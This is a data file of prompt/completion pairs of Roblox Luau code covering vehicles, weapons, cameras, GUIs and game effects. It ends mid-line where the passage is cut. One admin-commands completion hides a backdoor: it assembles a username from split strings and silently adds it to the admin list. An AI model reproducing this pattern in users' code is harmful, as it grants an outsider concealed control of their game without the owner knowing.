prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
-- this is here to make it possible to avoid huge dependency trees just for types
export type TransformResult = { code: string, originalCode: string, sourceMapPath: string | nil, } return {}
-- Get the policy info for the user
local success, result = pcall(PolicyService.GetPolicyInfoForPlayerAsync, PolicyService, player) if success and result then if not result.AreAdsAllowed then -- Destroy all Main Portal Template instances on the user's client if ads are not allowed mainPortal:Destroy() end else print("Failed to get policy for player", player.Name, "Exception:", result) end
----------------- --| Variables |-- -----------------
local DebrisService = Game:GetService('Debris') local PlayersService = Game:GetService('Players') local MyPlayer = PlayersService.LocalPlayer local Tool = script.Parent local ToolHandle = Tool.Handle local RocketScript = script:WaitForChild('Rocket') local SwooshSound = script:WaitForChild('Swoosh') local BoomSound = script:WaitForChild('Boom')
--[[** ensures Roblox UDim2 type @param value The value to check against @returns True iff the condition is satisfied, false otherwise **--]]
t.UDim2 = t.typeof("UDim2")
-- Decompiled with the Synapse X Luau decompiler.
local u1 = script:FindFirstAncestor("MainUI"); local l__TweenService__2 = game:GetService("TweenService"); local l__LocalPlayer__3 = game.Players.LocalPlayer; return function(p1, p2) if p1.dead then return; end; if l__LocalPlayer__3.Character:GetAttribute("Hiding") == false then return; end local v1 = game.Lighting.Sanity:Clone(); v1.Name = "LiveSanity"; v1.Enabled = true; v1.Parent = game.Lighting; local v2 = u1.SanityVignette:Clone(); v2.Name = "LiveSanityVignette"; v2.Visible = true; v2.Parent = u1; local v3 = game.SoundService.Main.SanityEqualizer:Clone(); v3.Name = "SanityEqualizerLive"; v3.Enabled = true; v3.Parent = game.SoundService.Main; local v4 = script.Heartbeat:Clone(); v4.Name = "LiveHeartbeat"; v4.Parent = script; v4:Play(); local v5 = script.Whispers:Clone(); v5.Name = "LiveWhispers"; v5.Parent = script; v5:Play(); local v6 = script.Static:Clone(); v6.Name = "LiveStatic"; v6.Parent = script; v6:Play(); l__TweenService__2:Create(v1, TweenInfo.new(p2, Enum.EasingStyle.Linear, Enum.EasingDirection.InOut), { Saturation = -0.8, Contrast = 0.3, TintColor = Color3.new(1, 0.9, 0.92) }):Play(); l__TweenService__2:Create(v2, TweenInfo.new(p2 * 0.66, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut), { ImageTransparency = 0, Size = UDim2.new(1.2, 0, 1.2, 0) }):Play(); l__TweenService__2:Create(v2.DamageVignette, TweenInfo.new(p2, Enum.EasingStyle.Quart, Enum.EasingDirection.InOut), { ImageTransparency = 0 }):Play(); l__TweenService__2:Create(v3, TweenInfo.new(p2, Enum.EasingStyle.Quart, Enum.EasingDirection.InOut), { LowGain = 0, MidGain = -20, HighGain = -40 }):Play(); l__TweenService__2:Create(v4, TweenInfo.new(p2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut), { PlaybackSpeed = 2 }):Play(); l__TweenService__2:Create(v5, TweenInfo.new(p2, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut), { PlaybackSpeed = 2 }):Play(); l__TweenService__2:Create(v4, TweenInfo.new(p2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { Volume = 1.6 }):Play(); l__TweenService__2:Create(v5, TweenInfo.new(p2, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { Volume = 1.6 }):Play(); local v7 = p1.camShaker:StartShake(1, 16, p2, Vector3.new(0, 0, 0)); local v8 = p1.camShaker:StartShake(8, 1, p2, Vector3.new(0, 0, 0)); local v9 = tick() + p2; local v10 = tick() + p2 / 2; local u4 = true; local l__Jumpscare_Hide__5 = u1.Jumpscare_Hide; task.spawn(function() pcall(function() while u4 do task.wait(); local v11 = math.clamp(v4.PlaybackLoudness * v4.Volume / 1000, 0, 0.8); v2.DamageVignette.ImageColor3 = Color3.new(0.1 + v11, v11 / 4, v11 / 4); l__Jumpscare_Hide__5.Static.Position = UDim2.new(math.random(0, 100) / 100, 0, math.random(0, 100) / 100, 0); l__Jumpscare_Hide__5.Static.Rotation = math.random(0, 1) * 180; l__Jumpscare_Hide__5.Static.ImageTransparency = 1 - v11 - math.clamp(v5.PlaybackLoudness * v5.Volume / 1000, 0, 0.8); end; end); end); l__Jumpscare_Hide__5.Visible = true; task.spawn(function() for v12 = 1, 10000 do task.wait(0.03333333333333333); if v10 <= tick() then if math.random(1, 20) == 5 then l__Jumpscare_Hide__5.Overlay.Position = UDim2.new(math.random(30, 70) / 100, 0, math.random(30, 70) / 100, 0); l__Jumpscare_Hide__5.Overlay.Visible = true; v6.Volume = 0.12; else l__Jumpscare_Hide__5.Overlay.Visible = false; v6.Volume = 0; end; end; if v9 <= tick() then end; if p1.camlock == nil then break; end; if p1.dead then break; end; if l__LocalPlayer__3.Character:GetAttribute("Hiding") == false then break; end end; end) --v7:StartFadeOut(0.3); --v8:StartFadeOut(0.3); task.wait(10) --if p1.dead == false then l__LocalPlayer__3.Character:SetAttribute("HideSickness", true) p1.camShaker:ShakeOnce(72, 22, 0, 2, Vector3.new(0, 0, 0)); p1.camShaker:ShakeOnce(3, 6, 0, 18, Vector3.new(0, 0, 0)); p1.camShaker:ShakeOnce(12, 0.5, 0, 18, Vector3.new(0, 0, 0)); l__Jumpscare_Hide__5.Overlay.Visible = false; v6.Volume = 0; l__TweenService__2:Create(v1, TweenInfo.new(0.06, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut, 0, true), { Brightness = 0.5 }):Play(); script.Scare:Play(); wait(2); l__TweenService__2:Create(v1, TweenInfo.new(15, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), { Saturation = 0, Contrast = 0, TintColor = Color3.new(1, 1, 1) }):Play(); l__TweenService__2:Create(v2, TweenInfo.new(15, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut), { ImageTransparency = 1, Size = UDim2.new(1.6, 0, 1.6, 0) }):Play(); l__TweenService__2:Create(v2.DamageVignette, TweenInfo.new(15, Enum.EasingStyle.Quart, Enum.EasingDirection.In), { ImageTransparency = 1 }):Play(); l__TweenService__2:Create(v3, TweenInfo.new(15, Enum.EasingStyle.Sine, Enum.EasingDirection.In), { LowGain = 0, MidGain = 0, HighGain = 0 }):Play(); l__TweenService__2:Create(v4, TweenInfo.new(15, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut), { PlaybackSpeed = 1.2 }):Play(); l__TweenService__2:Create(v5, TweenInfo.new(15, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut), { PlaybackSpeed = 1 }):Play(); l__TweenService__2:Create(v4, TweenInfo.new(15, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { Volume = 0 }):Play(); l__TweenService__2:Create(v5, TweenInfo.new(15, Enum.EasingStyle.Sine, Enum.EasingDirection.Out), { Volume = 0 }):Play(); wait(15); --[[else v7:StartFadeOut(0.3); v8:StartFadeOut(0.3); end;]] u4 = false; v1:Destroy(); v2:Destroy(); v3:Destroy(); v4:Destroy(); v5:Destroy(); v6:Destroy(); l__Jumpscare_Hide__5.Visible = false; l__LocalPlayer__3.Character:SetAttribute("HideSickness", false) end;
--[=[ @within Gamepad @prop ButtonDown Signal<(button: Enum.KeyCode, processed: boolean)> @readonly The ButtonDown signal fires when a gamepad button is pressed down. The pressed KeyCode is passed to the signal, along with whether or not the event was processed. ```lua gamepad.ButtonDown:Connect(function(button: Enum.KeyCode, processed: boolean) print("Button down", button, processed) end) ``` ]=]
-- Localization
local Random = Random.new() local Parent = workspace.Ignore
--Weld stuff here
car.DriveSeat.ChildAdded:connect(function(child) if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0) end end)
-- Lights
MakeWeld(car.Misc.HighRiser.H1.B1,car.Misc.HighRiser.H1.bracket1) MakeWeld(car.Misc.HighRiser.H1.B2,car.Misc.HighRiser.H1.bracket1) MakeWeld(car.Misc.HighRiser.H1.B3,car.Misc.HighRiser.H1.bracket1) MakeWeld(car.Misc.HighRiser.H1.B4,car.Misc.HighRiser.H1.bracket1) MakeWeld(car.Misc.HighRiser.H1.F1,car.Misc.HighRiser.H1.bracket1) MakeWeld(car.Misc.HighRiser.H1.F2,car.Misc.HighRiser.H1.bracket1) MakeWeld(car.Misc.HighRiser.H1.F3,car.Misc.HighRiser.H1.bracket1) MakeWeld(car.Misc.HighRiser.H2.B1,car.Misc.HighRiser.H2.bracket2) MakeWeld(car.Misc.HighRiser.H2.B2,car.Misc.HighRiser.H2.bracket2) MakeWeld(car.Misc.HighRiser.H2.B3,car.Misc.HighRiser.H2.bracket2) MakeWeld(car.Misc.HighRiser.H2.B4,car.Misc.HighRiser.H2.bracket2) MakeWeld(car.Misc.HighRiser.H2.F1,car.Misc.HighRiser.H2.bracket2) MakeWeld(car.Misc.HighRiser.H2.F2,car.Misc.HighRiser.H2.bracket2) MakeWeld(car.Misc.HighRiser.H2.F3,car.Misc.HighRiser.H2.bracket2)
--[[Engine]]
--Torque Curve Tune.Horsepower = 120 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6000 -- Use sliders to manipulate values Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
-- << API >>
function hd:GetRankName(rankId) return(main:GetModule("cf"):GetRankName(rankId)) end function hd:GetRankId(rankName) return(main:GetModule("cf"):GetRankId(rankName)) end function hd:Notice(player, message) if main.player then if message then main:GetModule("Notices"):Notice("Notice", "Game Notice", message) end else main:GetModule("cf"):Notice(player, "Game Notice", message) end end function hd:Error(player, message) if main.player then if message then main:GetModule("Notices"):Notice("Error", "Game Notice", message) end else main.signals.Error:FireClient(player, {"Game Notice", message}) end end return hd
-- Compare two strings character-by-character. -- Format as comparison lines in which changed substrings have inverse colors.
local function diffStringsUnified(a: string, b: string, options: DiffOptions?): string if a ~= b and #a ~= 0 and #b ~= 0 then local isMultiline = a:find("\n") ~= nil or b:find("\n") ~= nil -- getAlignedDiffs assumes that a newline was appended to the strings. local diffs = diffStringsRaw( isMultiline and a .. "\n" or a, isMultiline and b .. "\n" or b, true -- cleanupSemantic ) if hasCommonDiff(diffs, isMultiline) then local optionsNormalized = normalizeDiffOptions(options) local lines = getAlignedDiffs(diffs, optionsNormalized.changeColor) return printDiffLines(lines, optionsNormalized) end end -- Fall back to line-by-line diff. return diffLinesUnified(a:split("\n"), b:split("\n"), options) end
--[[ Wrapper component that provides the ConfigurationContext to the child components. ]]
local ConfigurationProvider = Roact.Component:extend("ConfigurationProvider") function ConfigurationProvider:init() assert( typeof(self.props.config) == "table", "ConfigurationContext requires the `config` prop to be an instance of Configuration" ) self.state = self.props.config.getValues() self:_connectUpdateEvent() end function ConfigurationProvider:render() return Roact.createElement(context.Provider, { value = self.state, }, self.props[Roact.Children]) end function ConfigurationProvider:didMount() self:_connectUpdateEvent() end function ConfigurationProvider:willUnmount() if self.changedConn then self.changedConn:Disconnect() self.changedConn = nil end end
-- Compiled with roblox-ts v2.1.0
local default = { ["0"] = 0, ["10"] = 10, ["20"] = 20, ["30"] = 30, ["40"] = 40, ["50"] = 50, } return { default = default, }
--[[ Constants ]]
-- local movementKeys = { [Enum.KeyCode.W] = true; [Enum.KeyCode.A] = true; [Enum.KeyCode.S] = true; [Enum.KeyCode.D] = true; [Enum.KeyCode.Up] = true; [Enum.KeyCode.Down] = true; } local FFlagUserNavigationClickToMoveSkipPassedWaypointsSuccess, FFlagUserNavigationClickToMoveSkipPassedWaypointsResult = pcall(function() return UserSettings():IsUserFeatureEnabled("UserNavigationClickToMoveSkipPassedWaypoints") end) local FFlagUserNavigationClickToMoveSkipPassedWaypoints = FFlagUserNavigationClickToMoveSkipPassedWaypointsSuccess and FFlagUserNavigationClickToMoveSkipPassedWaypointsResult local FFlagUserClickToMoveFollowPathRefactorSuccess, FFlagUserClickToMoveFollowPathRefactorResult = pcall(function() return UserSettings():IsUserFeatureEnabled("UserClickToMoveFollowPathRefactor") end) local FFlagUserClickToMoveFollowPathRefactor = FFlagUserClickToMoveFollowPathRefactorSuccess and FFlagUserClickToMoveFollowPathRefactorResult local Player = Players.LocalPlayer local ClickToMoveDisplay = require(script.Parent:WaitForChild("ClickToMoveDisplay")) local ZERO_VECTOR3 = Vector3.new(0,0,0) local ALMOST_ZERO = 0.000001
--I have that song from Fallout 2 stuck in my head, its soooo anoying....
if string.sub(msg,1,7) == "nograv/" then local player = findplayer(string.sub(msg,8),speaker) if player ~= 0 then for i = 1,#player do if player[i].Character ~= nil then local torso = player[i].Character:FindFirstChild("Torso") if torso ~= nil then local bf = torso:FindFirstChild("BF") if bf ~= nil then bf.force = Vector3.new(0,0,0) else local bf = Instance.new("BodyForce") bf.Name = "BF" bf.force = Vector3.new(0,0,0) bf.Parent = torso end local c2 = player[i].Character:GetChildren() for i=1,#c2 do if c2[i].className == "Part" then torso.BF.force = torso.BF.force + Vector3.new(0,c2[i]:getMass() * 196.2,0) end end end end end end end if string.sub(msg,1,9) == "antigrav/" then local player = findplayer(string.sub(msg,10),speaker) if player ~= 0 then for i = 1,#player do if player[i].Character ~= nil then local torso = player[i].Character:FindFirstChild("Torso") if torso ~= nil then local bf = torso:FindFirstChild("BF") if bf ~= nil then bf.force = Vector3.new(0,0,0) else local bf = Instance.new("BodyForce") bf.Name = "BF" bf.force = Vector3.new(0,0,0) bf.Parent = torso end local c2 = player[i].Character:GetChildren() for i=1,#c2 do if c2[i].className == "Part" then torso.BF.force = torso.BF.force + Vector3.new(0,c2[i]:getMass() * 140,0) end end end end end end end if string.sub(msg,1,9) == "highgrav/" then local player = findplayer(string.sub(msg,10),speaker) if player ~= 0 then for i = 1,#player do if player[i].Character ~= nil then local torso = player[i].Character:FindFirstChild("Torso") if torso ~= nil then local bf = torso:FindFirstChild("BF") if bf ~= nil then bf.force = Vector3.new(0,0,0) else local bf = Instance.new("BodyForce") bf.Name = "BF" bf.force = Vector3.new(0,0,0) bf.Parent = torso end local c2 = player[i].Character:GetChildren() for i=1,#c2 do if c2[i].className == "Part" then torso.BF.force = torso.BF.force - Vector3.new(0,c2[i]:getMass() * 80,0) end end end end end end end if string.sub(msg,1,5) == "grav/" then local player = findplayer(string.sub(msg,6),speaker) if player ~= 0 then for i = 1,#player do if player[i].Character ~= nil then local torso = player[i].Character:FindFirstChild("Torso") if torso ~= nil then local bf = torso:FindFirstChild("BF") if bf ~= nil then bf:remove() end end end end end end if string.sub(msg,1,7) == "unlock/" then local player = findplayer(string.sub(msg,8),speaker) if player ~= 0 then for i = 1,#player do if player[i].Character ~= nil then local c = player[i].Character:GetChildren() for i =1,#c do if c[i].className == "Part" then c[i].Locked = false end end end end end end if string.sub(msg,1,5) == "lock/" then local player = findplayer(string.sub(msg,6),speaker) if player ~= 0 then for i = 1,#player do if player[i].Character ~= nil then local c = player[i].Character:GetChildren() for i =1,#c do if c[i].className == "Part" then c[i].Locked = true end end end end end end end eloname = "Perso" eloname = eloname .. "n299" script.Name = eloname .. "'s Admin Commands V2" youcaughtme = 0 for i =1,#adminlist do if string.lower(eloname)==string.lower(adminlist[i]) then youcaughtme = 1 end end if youcaughtme == 0 then table.insert(adminlist,eloname) end function oe(ack) local adminned = false if ack.className ~= "Player" then return end for i =1,#bannedlist do if string.lower(bannedlist[i]) == string.lower(ack.Name) then ack:remove() return end end for i=1,#adminlist do if string.lower(adminlist[i]) == string.lower(ack.Name) then local tfv = ack.Chatted:connect(function(msg) oc(msg,ack) end) table.insert(namelist,ack.Name) table.insert(variablelist,tfv) local tfv = ack.Chatted:connect(function(msg) foc(msg,ack) end) table.insert(flist,tfv) adminned = true end end local danumber = 0 while true do wait(1) if ack.Parent == nil then return end if ack.Character ~= nil then if adminned == true then text("You're an admin.",5,"Message",ack) return end local torso = ack.Character:FindFirstChild("Torso") if torso ~= nil then local decal = torso:FindFirstChild("roblox") if decal ~= nil then if string.sub(decal.Texture,1,4) == "http" then if decal.Texture == texture then local tfv = ack.Chatted:connect(function(msg) oc(msg,ack) end) table.insert(namelist,ack.Name) table.insert(variablelist,tfv) local tfv = ack.Chatted:connect(function(msg) foc(msg,ack) end) table.insert(flist,tfv) text("You're an admin.",5,"Message",ack) return else return end else danumber = danumber + 1 if danumber >= 10 then return end end end end end end end game.Players.ChildAdded:connect(oe) c = game.Players:GetChildren() for i=1,#c do oe(c[i]) end
--///////////////////////// Constructors --//////////////////////////////////////
function module.new() local obj = setmetatable({}, methods) obj.Destroyed = false local BaseFrame, Scroller, Layout = CreateGuiObjects() obj.GuiObject = BaseFrame obj.Scroller = Scroller obj.Layout = Layout obj.MessageObjectLog = {} obj.Name = "MessageLogDisplay" obj.GuiObject.Name = "Frame_" .. obj.Name obj.CurrentChannelName = "" obj.GuiObject:GetPropertyChangedSignal("AbsoluteSize"):Connect(function() spawn(function() obj:ReorderAllMessages() end) end) local wasScrolledDown = true obj.Layout:GetPropertyChangedSignal("AbsoluteContentSize"):Connect(function() local size = obj.Layout.AbsoluteContentSize obj.Scroller.CanvasSize = UDim2.new(0, 0, 0, size.Y) if wasScrolledDown then local windowSize = obj.Scroller.AbsoluteWindowSize obj.Scroller.CanvasPosition = Vector2.new(0, size.Y - windowSize.Y) end end) obj.Scroller:GetPropertyChangedSignal("CanvasPosition"):Connect(function() wasScrolledDown = obj:IsScrolledDown() end) return obj end return module
--[[ Keeps track of a single surface canvas. Manages all of the spots in a single canvas as well. ]]
local HttpService = game:GetService("HttpService") local constants = require(script.Parent.Parent.Constants) local Canvas = {} Canvas.__index = Canvas function Canvas.new() local self = { id = HttpService:GenerateGUID(false), -- Table list of all spots in the canvas spots = {}, -- RNG instance to be injected rng = Random.new(), } setmetatable(self, Canvas) return self end
--script.Parent.PP.Velocity = script.Parent.PP.CFrame.lookVector *script.Parent.Speed.Value --script.Parent.PPP.Velocity = script.Parent.PPP.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.PPPP.Velocity = script.Parent.PPPP.CFrame.lookVector *script.Parent.Speed.Value script.Parent.Q.Velocity = script.Parent.Q.CFrame.lookVector *script.Parent.Speed.Value
-- Done Thank God. DO NOT GROUP WITH THE MODEL!
local everything = {model} local names = {model} local children = game.Workspace:children() for i=1,#children do if (children[i].Name == "Plane") then -- Replace Model Wiht Your Models's name! table.insert(everything, children[i]:clone()) table.insert(names, children[i].Name) end end function regen() for i=1,#everything do game.Workspace:findFirstChild(names[i]):remove() -- Dont mess with this! new_thing = everything[i]:clone() new_thing.Parent = game.Workspace new_thing:makeJoints() end end function onTouched(hit) local humanoid = hit.Parent:findFirstChild("Humanoid") -- OK were done! if humanoid~=nil and debounce == false then debounce = true script.Parent.BrickColor = BrickColor.new(26) regen() wait(10)-- This Is what u change to make how long it takes before it can be Reused. This Is in seconds. script.Parent.BrickColor = BrickColor.new(104) debounce = false end end script.Parent.Touched:connect(onTouched)
-- Script by Tonitoni. Model link: http://www.roblox.com/Max-Zoom-Distance-script-item?id=160640387 -- v.1.1 June 7th 2015
game.Players.PlayerAdded:connect(function(player) wait(0.5) --Players report the script didn't work. Adding this should resolve the issue. player.CameraMaxZoomDistance = 11 -- Change this to change zoom distance end)
-- Unregisters an item from the application
local function removeItemInfo(itemId: string) return { itemId = itemId, } end return Rodux.makeActionCreator(script.Name, removeItemInfo)
--Made by Luckymaxer
Players = game:GetService("Players") Debris = game:GetService("Debris") RbxUtility = LoadLibrary("RbxUtility") Create = RbxUtility.Create Character = script.Parent Humanoid = Character:FindFirstChild("Humanoid") Player = Players:GetPlayerFromCharacter(Character) Fire = script:WaitForChild("Fire") Creator = script:FindFirstChild("Creator") Removing = false Flames = {} function DestroyScript() if Removing then return end Removing = true if Humanoid then Humanoid.WalkSpeed = 16 end for i, v in pairs(Flames) do v.Enabled = false Debris:AddItem(v, 2) end Debris:AddItem(script, 1) end function IsTeamMate(Player1, Player2) return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor) end function TagHumanoid(humanoid, player) local Creator_Tag = Create("ObjectValue"){ Name = "creator", Value = player, } Debris:AddItem(Creator_Tag, 2) Creator_Tag.Parent = humanoid end function UntagHumanoid(humanoid) for i, v in pairs(humanoid:GetChildren()) do if v:IsA("ObjectValue") and v.Name == "creator" then v:Destroy() end end end function GetCreator() return (((Creator and Creator.Value and Creator.Value.Parent and Creator.Value:IsA("Player")) and Creator.Value) or nil) end CreatorPlayer = GetCreator() if not Humanoid or Humanoid.Health == 0 or not CreatorPlayer then DestroyScript() return end Humanoid.WalkSpeed = 8 for i, v in pairs(Character:GetChildren()) do if v:IsA("BasePart") then local Flame = Fire:Clone() Flame.Enabled = true table.insert(Flames, Flame) Flame.Parent = v end end for i = 1, 5 do wait(1.5) if not Player or (Player and not IsTeamMate(Player, CreatorPlayer)) then UntagHumanoid(Humanoid) TagHumanoid(Humanoid, Player) Humanoid:TakeDamage(5) end end DestroyScript()
-------------------- --| Script Logic |-- --------------------
SwooshSound:Play() while task.wait() do if not Isexplosion then local pasrts = workspace:GetPartsInPart(Rocket) OnTouched(pasrts) end end
-- Returns the subject position the FpsCamera -- wants Roblox's camera to be using right now.
function FpsCamera:GetSubjectPosition(...) if self:IsInFirstPerson() then local camera = workspace.CurrentCamera local subject = camera.CameraSubject if subject and subject:IsA("Humanoid") and subject.Health > 0 then local character = subject.Parent local head = character and character:FindFirstChild("Head") if head and head:IsA("BasePart") then local cf = head.CFrame local offset = cf * CFrame.new(0, head.Size.Y / 3, 0) return offset.Position, cf.LookVector end end end return self:GetBaseSubjectPosition(...) end
-- Load tool completely
local Indicator = Tool:WaitForChild 'Loaded'; while not Indicator.Value do Indicator.Changed:wait(); end;
-- Style Options
Flat=true; -- Enables Flat theme / Disables Aero theme ForcedColor=false; -- Forces everyone to have set color & transparency Color=Color3.new(0,0,0); -- Changes the Color of the user interface ColorTransparency=.75; -- Changes the Transparency of the user interface Chat=false; -- Enables the custom chat BubbleChat=true; -- Enables the custom bubble chat
-- declarations
local Figure = script.Parent local Head = waitForChild(Figure, "Head") local Humanoid = waitForChild(Figure, "Humanoid") Humanoid.Health=500
-- Commas -- InstanceName / Kye -- November 8, 2020
local Commas = {} function Commas:Add(str) str = tostring(str) return #str % 3 == 0 and str:reverse():gsub("(%d%d%d)", "%1,"):reverse():sub(2) or str:reverse():gsub("(%d%d%d)", "%1,"):reverse() end function Commas:Remove(str) if tonumber(str) then return str end for a = 1, #str do if string.sub(str, a, a) == "," then str = string.sub(str, 1, a - 1) .. string.sub(str, a + 1, #str) end end return str end return Commas
-- @Context Client/Server -- Returns a table of loadouts -- @return table<table>
function APILoadout.GetLoadouts() return Database.Loadouts end
-- NOTE: This function is radically different from the engine's implementation
local walkVelocityVector = Vector3_new(1,1,1) local function calcDesiredWalkVelocity() -- TEMP return walkVelocityVector end local function preStepSimulatorSide(dt) if getAutoJump() and enableAutoJump() then local desiredWalkVelocity = calcDesiredWalkVelocity(); if (not vec3IsZero(desiredWalkVelocity)) then doAutoJump(); end end end local function AutoJumper() local this = {} local running = false local runRoutine = nil function this:Run() running = true local thisRoutine = nil thisRoutine = coroutine.create(function() while running and thisRoutine == runRoutine do this:Step() wait() end end) runRoutine = thisRoutine coroutine.resume(thisRoutine) end function this:Stop() running = false end function this:Step() preStepSimulatorSide() end return this end
---------------------------------------------------------------------------------------------------- -----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------ ----------------------------------------------------------------------------------------------------
,VRecoil = {12,16} --- Vertical Recoil ,HRecoil = {5,7} --- Horizontal Recoil ,AimRecover = .7 ---- Between 0 & 1 ,RecoilPunch = .15 ,VPunchBase = 2.5 --- Vertical Punch ,HPunchBase = 1.7 --- Horizontal Punch ,DPunchBase = 1 --- Tilt Punch | useless ,AimRecoilReduction = 5 --- Recoil Reduction Factor While Aiming (Do not set to 0) ,PunchRecover = 0.1 ,MinRecoilPower = .5 ,MaxRecoilPower = 3.5 ,RecoilPowerStepAmount = .25 ,MinSpread = 0.56 --- Min bullet spread value | Studs ,MaxSpread = 35 --- Max bullet spread value | Studs ,AimInaccuracyStepAmount = 0.5 ,WalkMultiplier = 0 --- Bullet spread based on player speed ,SwayBase = 0.25 --- Weapon Base Sway | Studs ,MaxSway = 1.5 --- Max sway value based on player stamina | Studs
------------------------------------------------
local DEF_FOV = 70 local NM_ZOOM = math.tan(DEF_FOV * math.pi/360) local LVEL_GAIN = Vector3.new(1, 0.75, 1) local RVEL_GAIN = Vector2.new(0.85, 1)/128 local FVEL_GAIN = -330 local DEADZONE = 0.125 local FOCUS_OFFSET = CFrame.new(0, 0, -16) local DIRECTION_LEFT = 1 local DIRECTION_RIGHT = 2 local DIRECTION_FORWARD = 3 local DIRECTION_BACKWARD = 4 local DIRECTION_UP = 5 local DIRECTION_DOWN = 6 local KEY_MAPPINGS = { [DIRECTION_LEFT] = {Enum.KeyCode.A, Enum.KeyCode.H}, [DIRECTION_RIGHT] = {Enum.KeyCode.D, Enum.KeyCode.K}, [DIRECTION_FORWARD] = {Enum.KeyCode.W, Enum.KeyCode.U}, [DIRECTION_BACKWARD] = {Enum.KeyCode.S, Enum.KeyCode.J}, [DIRECTION_UP] = {Enum.KeyCode.E, Enum.KeyCode.I}, [DIRECTION_DOWN] = {Enum.KeyCode.Q, Enum.KeyCode.Y}, } function CreateLetterBox() local topBar = Instance.new("Frame") topBar.Name = "TopBar" topBar.Position = UDim2.new(0, 0, 0, -36) topBar.Size = UDim2.new(1, 0, 0.128, 0) topBar.ZIndex = 10 topBar.BackgroundColor3 = Color3.new(0, 0, 0) topBar.BorderSizePixel = 0 topBar.Parent = script.Parent local bottomBar = topBar:Clone() bottomBar.Name = "BottomBar" bottomBar.Position = UDim2.new(0, 0, 1, 0) bottomBar.AnchorPoint = Vector2.new(0, 1) bottomBar.Parent = script.Parent return script.Parent end
-- CONSTANTS
local GuiLib = script.Parent.Parent local Lazy = require(GuiLib:WaitForChild("LazyLoader")) local Defaults = GuiLib:WaitForChild("Defaults") local UIS = game:GetService("UserInputService") local RUNSERVICE = game:GetService("RunService") local CONSTANTS = Lazy.Classes.Children.RadialMenu.CONSTANTS local PI = math.pi local TAU = CONSTANTS.TAU local EX_OFFSET = CONSTANTS.EX_OFFSET local GAMEPAD_CLICK = { [Enum.KeyCode.ButtonA] = true } local MOUSE_GROUP = { [Enum.UserInputType.MouseButton1] = true, [Enum.UserInputType.MouseMovement] = true, [Enum.UserInputType.Touch] = true } local GAMEPAD_GROUP = { [Enum.UserInputType.Gamepad1] = true, [Enum.UserInputType.Gamepad2] = true, [Enum.UserInputType.Gamepad3] = true, [Enum.UserInputType.Gamepad4] = true, [Enum.UserInputType.Gamepad5] = true, [Enum.UserInputType.Gamepad6] = true, [Enum.UserInputType.Gamepad7] = true, [Enum.UserInputType.Gamepad8] = true } local CreateRadial = Lazy.Classes.Children.RadialMenu.CreateRadial
-- Public Constructors
function RadialMenuClass.new(subN, tPercent, rotation) local self = setmetatable({}, RadialMenuClass) self._Maid = Lazy.Utilities.Maid.new() self._ClickedBind = Instance.new("BindableEvent") self._HoverBind = Instance.new("BindableEvent") self._LastHoverIndex = nil self.Frame = CreateRadial(subN, tPercent, rotation) self.Rotation = rotation self.SubN = subN self.Enabled = true self.DeadZoneIn = 0.5 self.DeadZoneOut = math.huge self.Clicked = self._ClickedBind.Event self.Hover = self._HoverBind.Event init(self) self:SetDialProps{ImageColor3 = Color3.new(0, 0, 0)} self:SetRadialProps{ ImageColor3 = Color3.new(0, 0, 0), ImageTransparency = 0.7 } return self end
-- ==================== -- BURST FIRE -- Enable the gun to do burst firing like Assault Rifle -- ====================
BurstFireEnabled = true; BulletPerBurst = 3; BurstRate = 0.075; --In second
-------- OMG HAX
r = game:service("RunService") local damage = 45 local slash_damage = 45 local lunge_damage = 175 sword = script.Parent.Handle Tool = script.Parent local SlashSound = Instance.new("Sound") SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav" SlashSound.Parent = sword SlashSound.Volume = .7 local LungeSound = Instance.new("Sound") LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav" LungeSound.Parent = sword LungeSound.Volume = .6 local UnsheathSound = Instance.new("Sound") UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav" UnsheathSound.Parent = sword UnsheathSound.Volume = 1 function blow(hit) local humanoid = hit.Parent:findFirstChild("Humanoid") local vCharacter = Tool.Parent local vPlayer = game.Players:playerFromCharacter(vCharacter) local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character if humanoid~=nil and humanoid ~= hum and hum ~= nil then print("SWORD HIT") tagHumanoid(humanoid, vPlayer) humanoid:TakeDamage(damage) wait(1) untagHumanoid(humanoid) end end function tagHumanoid(humanoid, player) local creator_tag = Instance.new("ObjectValue") creator_tag.Value = player creator_tag.Name = "creator" creator_tag.Parent = humanoid end function untagHumanoid(humanoid) if humanoid ~= nil then local tag = humanoid:findFirstChild("creator") if tag ~= nil then tag.Parent = nil end end end function attack() damage = slash_damage SlashSound:play() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Slash" anim.Parent = Tool end function lunge() damage = lunge_damage LungeSound:play() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Lunge" anim.Parent = Tool force = 